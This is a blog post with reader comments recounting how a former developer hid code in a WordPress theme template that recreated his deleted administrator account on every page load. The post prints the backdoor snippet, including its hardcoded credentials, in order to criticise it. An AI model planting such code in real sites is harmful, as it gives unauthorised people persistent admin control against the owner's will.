Once upon a time, a long long time ago I used to do some work on people’s websites. It’s how I ended up getting into the entire internet business. I generally don’t do work on people’s sites anymore, though I do manage multiple sites for myself and a few friends and organisations I’m involved with.
I was recently helping somebody make a few tweaks and changes to their site. One of the most straightforward tasks was removing a couple of users that were no longer involved, including a former developer…
Every single time I’d delete the user they’d “magically” reappear.
I tried everything I could think of. Downgrading the user permissions from “admin” to “author” or even to “no role”. It didn’t matter – the user kept being deleted (WordPress would give me a nice confirmation message) but yet the user would still be there.
After going round and round on this a few times I noticed something curious – the user ID kept changing.
So then I checked the database and my suspicion was confirmed. The user create timestamp was the same as the time when I’d last tried to remove them. So the user was being recreated as it was being deleted.
How?
At first I thought it was a plugin – maybe one of the lesser known plugins had this “feature” to “protect” a user? Maybe it was a “hidden” plugin?
Nope. Nothing.
Eventually I was able to get assistance via WordPress themselves (the site I was working on was hosted by them). The source of the issue?
Code in one of the template files.
So every single time a page on the site loaded this bit of code would run and if the user in question wasn’t there they’d be recreated.
The code wasn’t particularly complicated, but it was very sneaky:
$userdata = array(
'user_login' => 'dodgyuser',
'user_pass' => 'dodgypassword' , // When creating an user, `user_pass` is expected.
'user_email' => 'dodgyuser@someprovider.com',
'role' => 'administrator'
);
$user_id = wp_insert_user( $userdata ) ;
The key bit in theres is the “wp_insert_user” call. WordPress has a couple of different ways of handling user creation and that’s one of them.
So what was the developer up to?
I’d love to be “generous” and think that they weren’t doing anything nefarious, but the more I think about it the less comfortable I am with it. The code is a backdoor to the site. If there’s a falling out between the site owner and the developer there’s no simple way for a non-technical user to remove the developer from the site once and for all. I’m relatively technical, even if I deny it, and this little backdoor trick had me stumped. If I’d downloaded the entire site and run “grep” on the code to search for every instance of that call to create the user I would probably have found it. Eventually.
Either way this is not a nice or good way to do business with people.
If you outsource website development work to 3rd parties you need to be able to trust them and this kind of behaviour is very disturbing.
kOoLiNuS’ says
Now you have to tell us the name of the template. I have some blogs on them and I’m curious to see if it’s an isolated case or not…
Michele Neylon says
The theme is called “Seedlet” but looking at the code they could have dropped it into pretty much any theme they wanted.
Ruairi Browne says
In my humble opinion WordPress is bloated and it is almost impossible to manage a site with more than a few plugins. It feels old fashioned and more like “scripting” than “coding”. But then I have been avoiding it since about 2008 so maybe it has improved.
As for this bit of code – if nothing else having a hardcoded admin password in your source code is a serious dereliction of your duties to the security of the site and the server.
Michele Neylon says
Ruairi
Wordpress is fine … mostly. It has improved a lot since 2008!
The problem with this code thing is that the kind of person who would use a developer like that is unlikely to have the technical skills to check for it.
Michele
Pinguim says
This reminded me of Edvan